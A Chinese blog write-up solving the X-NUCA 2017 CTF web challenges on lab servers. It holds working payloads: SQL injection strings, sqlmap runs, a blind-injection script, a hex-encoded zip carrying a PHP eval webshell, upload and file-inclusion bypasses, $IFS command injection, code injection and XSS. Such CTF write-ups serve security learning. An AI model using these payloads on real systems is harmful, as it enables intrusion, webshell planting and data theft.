X-NUCA 2017 Web练习 By Assassin

还差一个

这里写图片描述

题目链接如下
http://www.hetianlab.com/pages/activity/X-NUCANationalTL2017.jsp

捉迷藏

一看发现一大坨东西,但是都没用发现有一个链接

这里写图片描述

打开隐约会闪一下回到index.php,说明是个重定向,burp抓包得到flag
这里写图片描述

FLAG{th!5!5n0tth3fl@g}

简单问答

真是搞不懂这题是几个意思…首先看到页面,貌似是个简答题?但是提交不了,看源码中把submit中的标签去掉disabled=””

这里写图片描述

将之去掉可以发包,而且用burp抓包后发现提交的东西是畸形

q1=2015&q2=lol+&q4=22&success=false

首先q1应该是2016;然后q2被script脚本改成了多一个空格,去掉;在后不是q4=22,应该是q3啊…最后吧success改成true就好了

这里写图片描述

flag{W3ll_d0n3}

后台后台后台

首先看到一个普通的界面,进入后一个按钮可以进入管理员界面,但是显示

这里写图片描述

截包如下
这里写图片描述

发现cookie中的Member是base64加密后的 Normal,改成base64加密的Admin
这里写图片描述

flag{C00ki3_n0m_n0m_n0m}

php是最好的语言

直接看到源码

 <?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>

绕过挺简单的,忘记eregi在php7中被废弃了…怪不得实验了十万年都没用…
首先丢一个链接,总结的一些php特性

http://blog.csdn.net/qq_35078631/article/details/75200157

第一步,bar1是2017asd,即数字+字母可以绕过和2016比较且不是纯数字
第二步,构造bar2,要求bar2的第一项是数组,且总共数组有五项,且内容不存在nudt
第三步,构造数组中a2项数值为nudt
以上三步可以php代码生成

 <?php
$test=array(
    "bar1"=>"2017asd",
    "bar2"=>array(  "0"=>array(0),
            1=>2,
            2=>3,
            3=>4,
            4=>5    
            ),
    "a2"=>"nudt"
);
print_r (json_encode((array)$test));
?>

结果是{"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":233}
然后继续看让cat[1]存在,且!strcmp($c[1],$d) && $c[1]!==$d那么根据strcmp特性构造cat[1][]=,成功绕过

后面利用eregi可以用%00截断构造cat[0]=%00htctf2016&dog=what绕过
最终payload

http://218.76.35.75:20114/?foo={"bar1":"2017asd","bar2":[[0],2,3,4,5],"a2":"nudt"}   &cat[1][]="1"&&dog= what&cat[0]=%00htctf2016
flag{php_i5_n0t_b4d}

login

首先见到后台,观察猜测是个文件包含,果不其然可以弄到代码

http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=login

base64解密后得到login的关键代码

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
    include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
    echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
    $logfile = "./log/".$login.".log";
    file_put_contents($logfile, $login."\n".$password);
} 
?>

但是这是个啥…一筹莫展…然后发现貌似还可以得到一些源代码

http://218.76.35.75:20115/?page=php://filter/convert.base64-encode/resource=index

可以得到

<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";

if (@$_GET['log']) {
    if(file_exists($_GET['log'].".log")){
        include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
    include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}

?>

突然发现了什么不得了的事情,首先是当我们登录失败的时候会生成一个log文件

这里写图片描述

然后我们看如果index.php中有log变量,而且 $_GET['log'].".log"这个文件存在的就直接读取flag.txt了??这不是逆天?于是我们继续构造
这里写图片描述

flag{10caL_File_1nc1usi0n_C@n_B3_fun} 

但是这个题没完,我再看看别人的题解中发现了钓炸天的做法。
比如大牛王一航的做法,因为可以上传,他就刻意构造了一个带有小马的zip文件,然后通过getshell得到flag,太6了…
构造PK结构如下(cat test.zip | hexdump -C查看)

这里写图片描述

因为要解决zip解压不能解析\n的问题,但是我们上传过程格式为

username+\n
password

然后我们就可以用这个构造出来一个压缩包的格式,清楚的看到,第五个就是0a
构造如下

login=%50%4b%03%04
&password=%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%74%65%73%74%2e%70%68%70%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%0a%50%4b%01%02%3f%03%0a%03%00%00%00%00%32%0f%11%4b%27%86%ac%bf%1d%00%00%00%1d%00%00%00%08%00%00%00%00%00%00%00%00%00%20%80%b4%81%00%00%00%00%74%65%73%74%2e%70%68%70%50%4b%05%06%00%00%00%00%01%00%01%00%36%00%00%00%43%00%00%00%00%00

实验成功

这里写图片描述

检查能否正常解压,发现是可以解压成功的,然后我们在利用包含的zip协议解压达到效果!!!
请求成功!
这里写图片描述

http://218.76.35.75:20115/?page=zip://log/PK%03%04.log%23test

post:cmd=phpinfo();
//ps:zip伪协议#后面加的是解压的文件名!这个十分重要!!!

这里写图片描述

这才是真正的探索精神啊,膜拜学习了

http 头注入

方法一

说是http头部注入,还说什么换个浏览器试试,一开始以为是换user-agent但是实验过后发现referer存在注入

这里写图片描述

然后?我没有注出来,然后使用sqlmap跑,不负众望跑了出来

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer --tamper=space2comment --level 3

这里写图片描述

嘿嘿嘿,继续套路就行了

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer --tamper=space2comment --level 3  --dbs

这里写图片描述

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 --tables

这里写图片描述

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 -T flag -C

这里写图片描述

python sqlmap.py -u http://218.76.35.75:20121/heetian.php  -p referer -D ctfweb20110 -T flag -C "flag" --dump

这里写图片描述

方法二

偶然间发现存在报错注入

Referer: 1' and  extractvalue(1, concat(0x7e, (select @@version),0x7e)) and '1'='1

这里写图片描述

//爆库名
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  SCHEMA_NAME FROM information_schema.SCHEMATA limit 1,1),0x7e)) and '1'='1

这里写图片描述

//爆表
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  TABLE_NAME  FROM information_schema.TABLES WHERE TABLE_SCHEMA ='ctfweb20110' limit 0,1),0x7e)) and '1'='1

这里写图片描述

//爆列
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  COLUMN_NAME  FROM information_schema.COLUMNS WHERE TABLE_NAME ='flag' limit 1,1),0x7e)) and '1'='1

这里写图片描述

//爆答案
Referer: 1' and  extractvalue(1, concat(0x7e, (SELECT  flag from flag),0x7e)) and '1'='1

这里写图片描述

Y0ugetT82f00000laev

简单的文件上传

一见到文件上传,首先想到%00截断,未果,继续想是否是Content-Type 的问题,上传一个png文件,发现只让传jpg文件,所以修改Content-TypeContent-Type: image/jpeg 然后发现filename可控,改成php文件后缀,得到flag

这里写图片描述

flag:Upl00d30668ss9h97aFil3

简单的JS

首先打开F12看到源码


p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,

102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")"); 
document.write(p);

写个简单的python脚本跑出来是

<iframe height=0 width=0 src="./fl0a.php">

访问过去看到一个奇奇怪怪的东西

这里写图片描述

扫一遍目录无果,然后发现在报文中的Cookie中有flag…
这里写图片描述

C00k1els60SecU5e

php 是门松散的语言

上来看到源码

$he ='goodluck';

parse_str($_GET['heetian']);

if $he = 'abcd';

echo $flag;

he=?

发现存在parse_str函数,该函数用来解析字符串并且给变量赋值..勉强算是函数覆盖?
构造

http://218.76.35.75:20124?heetian=he=abcd

得到flag

flag:C00d1uckf0rY0uuu

试试xss

首先根据提示,alert document domain即可,所以应该就用反射型的xss就可以了,然后看题
尝试了输入'>
发现源代码中凭空出现了一个img标签

这里写图片描述

'><script >alert(document.domain)</script>

也返回了domain但是不出flag,于是换一种方法,闭合利用这个img标签
构造如下语句一直弹出框框就是不给flag…

123' onerror=javascript:alert(document.domain)

去掉javascript就有了???

123' onerror=alert(document.domain)

蛇精病…

flag:D0Gum6Ntd0M11n

简单的文件包含

根据提示,构造

http://218.76.35.75:20126/index.php?page=/flag

在源码中得到flag位置

<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php-->

访问得到flag

F11elNcLud3Get

怎么感觉这么无厘头…

简单的验证

也是非常某明奇妙的题目,首先扫描目录无果,然后抓包观察包的特点,发现cookie中有个user和guess,然后发现是个爆破题目,把user改成admin无疑,然后爆破guess即可

#_*_ coding:utf-8 _*_
import requests
url = 'http://218.76.35.75:20127/'

for i in range(1000):
    headers={
        'Cookie':'td_cookie=18446744070435391241; flag=admin; user=admin; guess=%d'%i
    }
    html=requests.get(url,headers=headers)
    #print html.text
    if 'flag' in html.text:
        print html.text
        break

醉了

这里写图片描述

flag:EaSy70Ch1ngG00kie

vote

一筹莫展,但是发现之前过于在意文件扫描,字典也不够完整,忘记了.bak,.index.php.swo等经典的源码泄露了,我得锅
然后发现/.index.php.swp 存在源码泄露
虽然得到了源码,但是貌似一般的vim -r 方法会显示不让操作,问了牛逼我鸡哥,说要在虚拟机上的vim去跑才可以…这又是啥!我不会,只好直接带着一堆null就看了
大概整理了一下,感觉很奇怪

echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';
while ($r = mysql_fetch_array($q)) {
    $q = mysql_query('SELECT * FROM t_picture');
    <?php<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head>   <title>Movie vote</title><head><html>?>}    exit;
    echo '<br><a href="index.php">goBack</a><br>';
    echo '</table>';    }
    echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
    echo '<tr><td>'.$arr[0].'</td>';
    $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
    while ($r = mysql_fetch_array($q)) 
    {   echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
        echo '<table border="1">';
        echo '<p><b>Thank you!</b> Results:</p>';
        $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
        $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
        $vote = 1;
        if ($vote > 5 || $vote < 1) 
            $vote = (int)$_POST['vote'];
            $id = $_POST['id'];
            die('please select ...');   
            if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
                if (isset($_POST['submit'])) {
                    $login = $_SESSION['login'];
            }   
            $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
            if (!isset($_SESSION['login'])) {
                session_start();
                include 'db.php';

发现和输出貌似是相反的,然后可以自己颠倒一下大概是这样的

<?
include 'db.php';
session_start();
if (!isset($_SESSION['login'])) {
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (isset($_POST['submit'])) {
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
        die('please select ...');   
    $id = $_POST['id'];
    $vote = (int)$_POST['vote'];
    if ($vote > 5 || $vote < 1) 
        $vote = 1;
    $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
    $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
    echo '<p><b>Thank you!</b> Results:</p>';
    echo '<table border="1">';
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    while ($r = mysql_fetch_array($q)) {
        $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$f['id']));
        echo '<tr><td>'.$arr[0].'</td>';
        $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
        echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
        echo '</table>';
    }
    echo '<br><a href="index.php">goBack</a><br>';
}   
exit;
?>
<tr><table border="1" cellspacing="5"><form action="index.php" method="POST"><p>Welcome, Movie vote</p><body></head>    <title>Movie vote</title><head><html>
<?php
$q = mysql_query('SELECT * FROM t_picture');
while ($r = mysql_fetch_array($q)) {
    echo '<td><img src="./images/'.$r['image'].'"><div align="center">'.$r['title'].'<br><input type="radio" name="id" value="'.$r['id'].'"></div></td>';

由于我水平比较洼,一时没看出来是啥,然后百度一下发现是hackyou2014原题
看了一眼题解恍然大悟!原来我们可以用16进制绕过is_numeric!!!然后分析一波未果,经过伟大鸡哥提醒是二次注入,之前没有接触过二次注入,这里简单的讲一下记录记录把
二次注入,顾名思义就是利用了第二次的注入回显
我们直接看题目,首先我们利用了16进制绕过is_numeric的限制,分析一下,首先在

$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");

这个地方可以在数据库中插入一段数据,然后在下面的

$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));

中有所利用(原因这个$r来自于$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");,经过这个条件转接我们就可以利用数据库中的id变量了)
加入我们注入代码为-1 union select 1, 那么程序首先插入数据库如下语句

$q = mysql_query("INSERT INTO t_vote VALUES (-1 union select 1, , '')");

然后通过调用利用语句就变成了

$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = -1 union select 1"));

就注入成功了!!!然后我门写好本题目需要的脚本把!

#_*_ coding:utf-8 _*_
import requests
import binascii
def encode_and_send(hack):
    url = 'http://218.76.35.75:65080/'
    data ={'id':hack,'vote':3,'submit':'submit'}
    html = requests.post(url,data=data)
    print html.text


hack = "-1 union select 1"
print "0x"+binascii.hexlify(hack)
encode_and_send("0x"+binascii.hexlify(hack))

然后通过修改hack值达到效果,测试一下!

这里写图片描述

然后就是一个一阶的注入,结果information_schema被过滤了…大佬说脑洞出来得表名和列名…心理莫名地蛋疼,感觉十分不靠谱…想到了能否爆破一下但是又没有字典…如果大佬有什么妙招还希望点一下弱…
payload带入上面代码

hack = "-1  union select flag from t_flag"

这里写图片描述

flag{6yvt6eYziAHgVRKz3reE}

GG

找了半天,只有一个js源码,大概600行,看了看没发现什么东西…没什么明显得东西,索性搜一下看有没有引用得文件,搜索.js时候发现一个奇怪得东西

 this.mayAdd = function(a) {
            if (this.scores.length < this.maxscores)
                return 1E6 < a && (a = new p,
                a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
                !0;
            for (var b = this.scores.length - 1; 0 <= b; --b)
                if (this.scores[b].score < a)
                    return 1E6 < a && (a = new p,
                    a.set("urlkey", "webqwer"[1] + "100.js", 864E5)),
                    !0;
            return !1
        }

那就是存在个e100.js

这里写图片描述

直接丢到console跑出来
这里写图片描述

flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}

Reappear

看到了感觉就是个模板把,找了一下,4.1.5版本存在文件上传漏洞,这里顺手试了一下,发现没有上传文件的写权限

这里写图片描述

这里写图片描述

然后继续寻找,发现了貌似4.1.7版本的 /kindeditor/php/file_manager_json.php文件下存在文件的绝对路径泄露把,在看看有没有有利用价值的,结果果真有猫腻!
这里写图片描述

然后我们知道在attach文件夹下存在一个 flag_clue.php文件!八九不离十了,打开一看得到一个串 =0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ明显倒叙的base64,解密后得到flag

flag:{uveDoneAgreatJob}

DrinkCoffee

上来一看这么牛逼的界面

这里写图片描述

为了方便解包用burp抓取
首先他要求的come from http://www.iie.ac.cn 和 IP must be 10.10.20.1,修改一下referer和x-forwarded-for即可

然后他说找password,我扫描了全世界什么都没有,结果发现在headers中…

这里写图片描述

明显的md5值,去解密一下
这里写图片描述

然后构造包即可
这里写图片描述

alert('Flag: 84294deb396ba4373c5ea8b73fa111b2')

最安全的笔记管理系统

这个题目利用的非常复杂,非常非常好的题目,单独写出来一篇博客把。

Document

进入第一页发现提示

这里写图片描述

一方面说了parameter变量是file,继续看还给了一个上传文件upload
尝试了几个上传未果,过滤了php,貌似还会检测 Content-Typefilename是否匹配,不知道怎么办,然后返回来看是不是文件包含

http://218.76.35.74:20129/include.php?file=php://filter/convert.base64-encode/resource=include

得到include.php的源代码,翻译为

//include
<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

得到upload代码

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

发现对上传的文件确实限制比较多,但是只是强调存在.png等等就可以了,但是加入我这样构造1.php.png这个是符合上传条件的,而且,在服务器端还会
解析php文件!这是apache的解析漏洞,源于倒叙解析文件类型。
如下

这里写图片描述

然后访问 http://218.76.35.74:20129/upload/1234.php.png如下
这里写图片描述

然后我们就尝试一句话就好了!
这里写图片描述

成功了,然后漫游找flag即可
然后碰到了最大的问题,找不到flag…利用find和grep命令搜索全目录

find / | grep flag

这里写图片描述

然后读一下就好了

这里写图片描述

7F5A58DFC54CFAC9903FE85D92703787 

阳光总在风雨后

扫描了之后什么特别的都没有发现只能注入了,套路一下验证出username有admin

这里写图片描述

然后burp抓包发现username过滤了好多东西!问题应该就在这里吧
过滤了union,逗号,空格,and,or等等,但是没有过滤ascii,mid,from,select,等号 。所以猜到是盲注

想了半天没有想出来,翻翻之前的东西发现做过类似的,构造出如下反映不同,可以构成盲注

username=admin'^0^'1
username=admin'^1^'1

控制的东西就是中间那个了呗,本地实验这句发现可以有

mysql> select(ascii(mid((select(flag)from(flag))from(2)))=106);
+---------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(2)))=106) |
+---------------------------------------------------+
|                                                 1 |
+---------------------------------------------------+
1 row in set (0.00 sec)

没有空格完美解决问题的样子

构造uname=admin'^(select(1=1))^'1&passwd=%27%23 实验,

这里写图片描述

当其中的值为1的时候uname的验证通过
我们写脚本如下

#_*_ coding:utf-8 _*_

import requests
url = 'http://218.76.35.74:20130/login.php'
headers={
    'Host': '218.76.35.74:20130',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Referer': 'http://218.76.35.74:20130/',
    'Cookie': 'PHPSESSID=jksoal7prjq5ssnvq217k9h792',
    'Connection':' keep-alive',
    'Upgrade-Insecure-Requests': '1'
}

ans=''
for length in range(1,50):
    flag=0
    for i in range(31,127):
        hacker="admin'^(select(ascii(mid((select(passwd)from(admin))from(%s)))=%s))^'1"%(str(length),str(i))
        #print hacker
        data={
            'uname':hacker,
            'passwd':'1'
        }
        html = requests.post(url,headers=headers,data=data)
        #print html.text.encode('utf-8')
        if 'password' in html.text:
            ans+=chr(i)
            print ans
            flag=1
            break
    if flag==0:
        break

得到答案

50f87a3a3ad48e26a5d9058418fb78b5

当然MD5解密得到原文

shuangshuang

然后就是登陆进去,然后发现是一个类似bash的东西,但是貌似只能显示一项?而且过滤了空格,然后可以找到命令符${IFS}或者是$IFS$9 可以绕过,至于输出第几个文件可以用head -n 1 绕过
构造

ls$IFS$9/var/www/html|head$IFS$9-n$IFS$91

这里写图片描述

9ef89ad913e848b64b73e3aa721e44e4

继续构造
ls$IFS$9/var/www/html/9ef89ad913e848b64b73e3aa721e44e4|head$IFS$9-n$IFS$91

这里写图片描述

不知道为什么明明的出来了但是确不行, 想了想过滤了php,最后参考的大佬的答案

cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*|head${IFS}-n${IFS}1
flag{sQ1_1NJEct_coMMond_eXEC}

default

首先是文件扫描得到有趣的东西

这里写图片描述

然后看到东西

<?php  

include "flag2.php"; 
error_reporting(0); 
show_source(__FILE__); 

$a = @$_REQUEST['hello']; 
eval("var_dump($a);"); 

某春秋原题,代码注入
构造

http://218.76.35.74:20131/index2.php?hello=)%26print_r(glob('*')

这里写图片描述

然后构造

http://218.76.35.74:20131/index2.php?h
hello=)%26print_r(file('flag1.php')

这里写图片描述

flag{F8871804DD8C20C66D2386B3E51ADEC4}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值